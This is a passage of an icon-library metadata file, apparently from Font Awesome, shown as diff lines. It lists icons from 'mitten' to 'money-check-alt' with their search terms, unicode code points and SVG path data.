0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h232c6.6 0 12 5.4 12 12v32c0 6.6-5.4 12-12 12H108zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M108 284c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h232c6.6 0 12 5.4 12 12v32c0 6.6-5.4 12-12 12H108zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "mitten": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "clothing", + "cold", + "glove", + "hands", + "knitted", + "seasonal", + "warmth" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7b5", + "label": "Mitten", + "svg": { + "solid": { + "last_modified": 1628088635601, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M368 416H48c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16zm57-209.1c-27.2-22.6-67.5-19-90.1 8.2l-20.9 25-29.6-128.4c-18-77.5-95.4-125.9-172.8-108C34.2 21.6-14.2 98.9 3.7 176.4L51.6 384h309l72.5-87c22.7-27.2 19-67.5-8.1-90.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M368 416H48c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16zm57-209.1c-27.2-22.6-67.5-19-90.1 8.2l-20.9 25-29.6-128.4c-18-77.5-95.4-125.9-172.8-108C34.2 21.6-14.2 98.9 3.7 176.4L51.6 384h309l72.5-87c22.7-27.2 19-67.5-8.1-90.1z" + } + }, + "free": [ + "solid" + ] + }, + "mix": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3cb", + "label": "Mix", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861007, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z" + } + }, + "free": [ + "brands" + ] + }, + "mixcloud": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f289", + "label": "Mixcloud", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861007, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M424.43 219.729C416.124 134.727 344.135 68 256.919 68c-72.266 0-136.224 46.516-159.205 114.074-54.545 8.029-96.63 54.822-96.63 111.582 0 62.298 50.668 112.966 113.243 112.966h289.614c52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74.48-92.2zm-20.489 144.53H114.327c-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.548 7.475 49.838 20.766 19.963 19.963 50.133-10.227 30.18-30.18-14.675-14.398-32.672-24.365-52.053-29.349 19.935-44.3 64.79-73.926 114.628-73.926 69.496 0 125.979 56.483 125.979 125.702 0 13.568-2.215 26.857-6.369 39.594-8.943 27.517 32.133 38.939 40.147 13.29 2.769-8.306 4.984-16.889 6.369-25.472 19.381 7.476 33.502 26.303 33.502 48.453 0 28.795-23.535 52.33-52.607 52.33zm235.069-52.33c0 44.024-12.737 86.386-37.102 122.657-4.153 6.092-10.798 9.414-17.72 9.414-16.317 0-27.127-18.826-17.443-32.949 19.381-29.349 29.903-63.682 29.903-99.122s-10.521-69.773-29.903-98.845c-15.655-22.831 19.361-47.24 35.163-23.534 24.366 35.993 37.102 78.356 37.102 122.379zm-70.88 0c0 31.565-9.137 62.021-26.857 88.325-4.153 6.091-10.798 9.136-17.72 9.136-17.201 0-27.022-18.979-17.443-32.948 13.013-19.104 19.658-41.255 19.658-64.513 0-22.981-6.645-45.408-19.658-64.512-15.761-22.986 19.008-47.095 35.163-23.535 17.719 26.026 26.857 56.483 26.857 88.047z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M424.43 219.729C416.124 134.727 344.135 68 256.919 68c-72.266 0-136.224 46.516-159.205 114.074-54.545 8.029-96.63 54.822-96.63 111.582 0 62.298 50.668 112.966 113.243 112.966h289.614c52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74.48-92.2zm-20.489 144.53H114.327c-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.548 7.475 49.838 20.766 19.963 19.963 50.133-10.227 30.18-30.18-14.675-14.398-32.672-24.365-52.053-29.349 19.935-44.3 64.79-73.926 114.628-73.926 69.496 0 125.979 56.483 125.979 125.702 0 13.568-2.215 26.857-6.369 39.594-8.943 27.517 32.133 38.939 40.147 13.29 2.769-8.306 4.984-16.889 6.369-25.472 19.381 7.476 33.502 26.303 33.502 48.453 0 28.795-23.535 52.33-52.607 52.33zm235.069-52.33c0 44.024-12.737 86.386-37.102 122.657-4.153 6.092-10.798 9.414-17.72 9.414-16.317 0-27.127-18.826-17.443-32.949 19.381-29.349 29.903-63.682 29.903-99.122s-10.521-69.773-29.903-98.845c-15.655-22.831 19.361-47.24 35.163-23.534 24.366 35.993 37.102 78.356 37.102 122.379zm-70.88 0c0 31.565-9.137 62.021-26.857 88.325-4.153 6.091-10.798 9.136-17.72 9.136-17.201 0-27.022-18.979-17.443-32.948 13.013-19.104 19.658-41.255 19.658-64.513 0-22.981-6.645-45.408-19.658-64.512-15.761-22.986 19.008-47.095 35.163-23.535 17.719 26.026 26.857 56.483 26.857 88.047z" + } + }, + "free": [ + "brands" + ] + }, + "mixer": { + "changes": [ + "5.12.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e056", + "label": "Mixer", + "voted": true, + "svg": { + "brands": { + "last_modified": 1581349336590, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z" + } + }, + "free": [ + "brands" + ] + }, + "mizuni": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3cc", + "label": "Mizuni", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861007, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z" + } + }, + "free": [ + "brands" + ] + }, + "mobile": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "apple", + "call", + "cell phone", + "cellphone", + "device", + "iphone", + "number", + "screen", + "telephone" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f10b", + "label": "Mobile Phone", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635602, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "mobile-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "apple", + "call", + "cell phone", + "cellphone", + "device", + "iphone", + "number", + "screen", + "telephone" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3cd", + "label": "Alternate Mobile", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635601, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm112-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v312z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm112-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v312z" + } + }, + "free": [ + "solid" + ] + }, + "modx": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f285", + "label": "MODX", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861007, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z" + } + }, + "free": [ + "brands" + ] + }, + "monero": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3d0", + "label": "Monero", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861007, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z" + } + }, + "free": [ + "brands" + ] + }, + "money-bill": { + "changes": [ + "2", + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "buy", + "cash", + "checkout", + "money", + "payment", + "price", + "purchase" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0d6", + "label": "Money Bill", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635603, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 176c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 48h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 176c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 48h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z" + } + }, + "free": [ + "solid" + ] + }, + "money-bill-alt": { + "changes": [ + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "buy", + "cash", + "checkout", + "money", + "payment", + "price", + "purchase" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f3d1", + "label": "Alternate Money Bill", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635602, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M352 288h-16v-88c0-4.42-3.58-8-8-8h-13.58c-4.74 0-9.37 1.4-13.31 4.03l-15.33 10.22a7.994 7.994 0 0 0-2.22 11.09l8.88 13.31a7.994 7.994 0 0 0 11.09 2.22l.47-.31V288h-16c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8h64c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 192c-53.02 0-96-50.15-96-112 0-61.86 42.98-112 96-112s96 50.14 96 112c0 61.87-43 112-96 112zm272 32h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M352 288h-16v-88c0-4.42-3.58-8-8-8h-13.58c-4.74 0-9.37 1.4-13.31 4.03l-15.33 10.22a7.994 7.994 0 0 0-2.22 11.09l8.88 13.31a7.994 7.994 0 0 0 11.09 2.22l.47-.31V288h-16c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8h64c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 192c-53.02 0-96-50.15-96-112 0-61.86 42.98-112 96-112s96 50.14 96 112c0 61.87-43 112-96 112zm272 32h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z" + }, + "regular": { + "last_modified": 1628088634914, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 144c-53.02 0-96 50.14-96 112 0 61.85 42.98 112 96 112 53 0 96-50.13 96-112 0-61.86-42.98-112-96-112zm40 168c0 4.42-3.58 8-8 8h-64c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h16v-55.44l-.47.31a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09l15.33-10.22a23.99 23.99 0 0 1 13.31-4.03H328c4.42 0 8 3.58 8 8v88h16c4.42 0 8 3.58 8 8v16zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zm-16 272c-35.35 0-64 28.65-64 64H112c0-35.35-28.65-64-64-64V176c35.35 0 64-28.65 64-64h416c0 35.35 28.65 64 64 64v160z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M320 144c-53.02 0-96 50.14-96 112 0 61.85 42.98 112 96 112 53 0 96-50.13 96-112 0-61.86-42.98-112-96-112zm40 168c0 4.42-3.58 8-8 8h-64c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h16v-55.44l-.47.31a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09l15.33-10.22a23.99 23.99 0 0 1 13.31-4.03H328c4.42 0 8 3.58 8 8v88h16c4.42 0 8 3.58 8 8v16zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zm-16 272c-35.35 0-64 28.65-64 64H112c0-35.35-28.65-64-64-64V176c35.35 0 64-28.65 64-64h416c0 35.35 28.65 64 64 64v160z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "money-bill-wave": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "buy", + "cash", + "checkout", + "money", + "payment", + "price", + "purchase" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f53a", + "label": "Wavy Money Bill", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635603, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM48 132.22c20.12 5.04 41.12 7.57 62.72 8.93C104.84 170.54 79 192.69 48 192.69v-60.47zm0 285v-47.78c34.37 0 62.18 27.27 63.71 61.4-22.53-1.81-43.59-6.31-63.71-13.62zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 27.78c-17.52-4.39-35.71-6.85-54.32-8.44 5.87-26.08 27.5-45.88 54.32-49.28v57.72zm0-236.11c-30.89-3.91-54.86-29.7-55.81-61.55 19.54 2.17 38.09 6.23 55.81 12.66v48.89z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM48 132.22c20.12 5.04 41.12 7.57 62.72 8.93C104.84 170.54 79 192.69 48 192.69v-60.47zm0 285v-47.78c34.37 0 62.18 27.27 63.71 61.4-22.53-1.81-43.59-6.31-63.71-13.62zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 27.78c-17.52-4.39-35.71-6.85-54.32-8.44 5.87-26.08 27.5-45.88 54.32-49.28v57.72zm0-236.11c-30.89-3.91-54.86-29.7-55.81-61.55 19.54 2.17 38.09 6.23 55.81 12.66v48.89z" + } + }, + "free": [ + "solid" + ] + }, + "money-bill-wave-alt": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "buy", + "cash", + "checkout", + "money", + "payment", + "price", + "purchase" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f53b", + "label": "Alternate Wavy Money Bill", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635602, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96z" + } + }, + "free": [ + "solid" + ] + }, + "money-check": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "bank check", + "buy", + "checkout", + "cheque", + "money", + "payment", + "price", + "purchase" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f53c", + "label": "Money Check", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635604, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 448c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128H0v320zm448-208c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-32zm0 120c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H456c-4.42 0-8-3.58-8-8v-16zM64 264c0-4.42 3.58-8 8-8h304c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm0 96c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zM624 32H16C7.16 32 0 39.16 0 48v48h640V48c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M0 448c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128H0v320zm448-208c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-32zm0 120c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H456c-4.42 0-8-3.58-8-8v-16zM64 264c0-4.42 3.58-8 8-8h304c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm0 96c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zM624 32H16C7.16 32 0 39.16 0 48v48h640V48c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "money-check-alt": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "bank check", + "buy", + "checkout", + "cheque", + "money", + "payment", + "price", + "purchase" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f53d", + "label": "Alternate Money Check", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635603, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M608 32H32C14.33 32 0 46.33 0 64v384c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM176 327.88V344c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V152c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07zM416 312c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm160 0c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h272c4.42 0 8 3.58 8 8v16z\"/></svg>", + "viewBox": [ + "0", + 